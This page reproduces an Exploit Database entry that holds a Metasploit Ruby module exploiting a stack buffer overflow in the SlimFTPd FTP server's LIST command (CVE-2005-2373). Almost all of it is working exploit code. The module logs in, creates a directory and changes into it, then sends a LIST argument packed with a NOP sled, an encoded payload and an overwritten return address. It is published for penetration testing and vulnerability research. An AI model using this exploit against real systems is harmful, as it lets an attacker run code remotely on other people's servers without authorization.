SlimFTPd – ‘LIST’ Concatenation Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-10-05
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16729/

• ##
  # $Id: slimftpd_list_concat.rb 10559 2010-10-05 23:41:17Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SlimFTPd LIST Concatenation Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the SlimFTPd
  				server. The flaw is triggered when a LIST command is
  				received with an overly-long argument. This vulnerability
  				affects all versions of SlimFTPd prior to 3.16 and was
  				discovered by Raphael Rigo.
  			},
  			'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 10559 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-2373'],
  					[ 'OSVDB', '18172'],
  					[ 'BID', '14339'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 490,
  					'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => [ 'win' ],
  			'Targets'=>
  				[
  					[
  						'SlimFTPd Server <= 3.16 Universal',
  						{
  							'Ret'=> 0x0040057d,
  						},
  					],
  				],
  			'DisclosureDate' => 'Jul 21 2005',
  			'DefaultTarget' => 0))
  	end
  
  	def exploit
  		connect_login
  
  		print_status("Trying target #{target.name}...")
  
  		buf= make_nops(511)
  		buf[10, payload.encoded.length] = payload.encoded
  		buf[507, 4] = [ target.ret ].pack('V')
  
  		send_cmd( ['XMKD', '41414141'], true );
  		send_cmd( ['CWD', '41414141'], true );
  		send_cmd( ['LIST', buf], false )
  
  		handler
  		disconnect
  	end
  
  end